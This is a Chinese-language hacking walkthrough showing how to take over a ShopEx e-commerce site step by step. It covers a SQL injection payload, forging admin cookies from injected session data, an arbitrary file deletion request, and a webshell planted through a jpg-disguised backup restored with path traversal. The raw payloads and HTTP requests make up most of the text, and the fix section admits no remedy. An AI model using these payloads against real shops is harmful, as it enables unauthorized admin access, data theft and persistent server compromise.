0x1 爆路径
?gOo
 

ShopEx一步一步拿shell


 
 
额~ 这个表示对我无用
 
0x2 注入
?member-120120822173108'/**/and/**/ExtractValue(0x64,concat(0x01,(select/**/@@version)))/**/order/**/by/**/'1-orderdetail.html
 

ShopEx一步一步拿shell


 
 
得到一个注入点,一般接下来的步骤都是爆密码,解md5,可是我觉得我rp极差,一般都解不出,所以..第三步
 
0x3 后台cookie设置
登录成功之后会设置3个cookie
 
setcookie('SHOPEX_LG_KEY',md5(remote_addr().$aResult['op_id']));
setcookie("SHOPEX_LOGIN_NAME",$_POST['usrname'],(time()+86400*10));
setcookie( "SHOPEX_SID", $this->sess_id );
 
function remote_addr(){
    if(!isset($GLOBALS['_REMOTE_ADDR_'])){
        $addrs = array();
 
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            foreach( array_reverse( explode( ',',  $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) as $x_f )
            {
                $x_f = trim($x_f);
 
                if ( preg_match( '/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $x_f ) )
                {
                    $addrs[] = $x_f;
                }
            }
        }
 
        $GLOBALS['_REMOTE_ADDR_'] = isset($addrs[0])?$addrs[0]:$_SERVER['REMOTE_ADDR'];
    }
    return $GLOBALS['_REMOTE_ADDR_'];
}
我们跑到XXX_op_sessions表 注射出sess_id,跑去XXX_operators表 注射出username和对应的op_id,构造cookie 登录上后台,本来想拿演示网做测试,结果我所在的网络有点奇葩,算了,本地测试成功。。。。
 
0x4 后台任意文件删除
终于进入后台了,先玩一下
构造
 
 
POST /shopex/shopadmin/index.php?ctl=system/comeback&act=removeTgz&_ajax=true&_ss=setting,tools HTTP/1.1
Host: 10.1.1.100
Proxy-Connection: keep-alive
Content-Length: 38
Origin:
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.79 Safari/537.1
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Accept: text/javascript, text/html, application/xml, text/xml, */*
Referer:
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: *********************
 
tgz[]=multibak_20120822202808.tgz&__=1
把tgz[]换成想删除的文件的相对路径,极其鸡肋,对我来说也是无用
 
 
0x5 后台拿shell
本来还是想拿官网演示站 做演示的 结果 相应的功能被禁用了,rp如此之差 完全可以体现出来了
本地测试~~~
先备份个,然后直接下载备份文件,修改压缩文件里面的文件名以及文件内容
 
 

ShopEx一步一步拿shell


 
最后将压缩文件的后缀修改为jpg 后台直接传图片 获取图片地址
 
在数据恢复处 恢复数据 截包修改
 
 
GET /shopex/shopadmin/index.php?ctl=system/comeback&act=comeback&p[0]=multibak_20120822202808.tgz&p[1]=1345638490&p[2]=2&_ajax=true&_ss=setting,tools HTTP/1.1
Host: 10.1.1.100
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.79 Safari/537.1
Accept: text/javascript, text/html, application/xml, text/xml, */*
Referer:
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: ******************
 
将p[0]修改为之前上传图片的地址 如:/../../images/default/default_preview_pic.jpg
在拦截到最后一个包的时候不给予通过~ 如果通过之后会把之前的临时文件给删除
 
最后shell路径:
/home/tmp/md5('/../../images/default/default_preview_pic.jpg')/yy520.php.sql
 
基本原理和
差不多~ 所以就少截一点图了。



修复方案:

其实我也不太懂 :)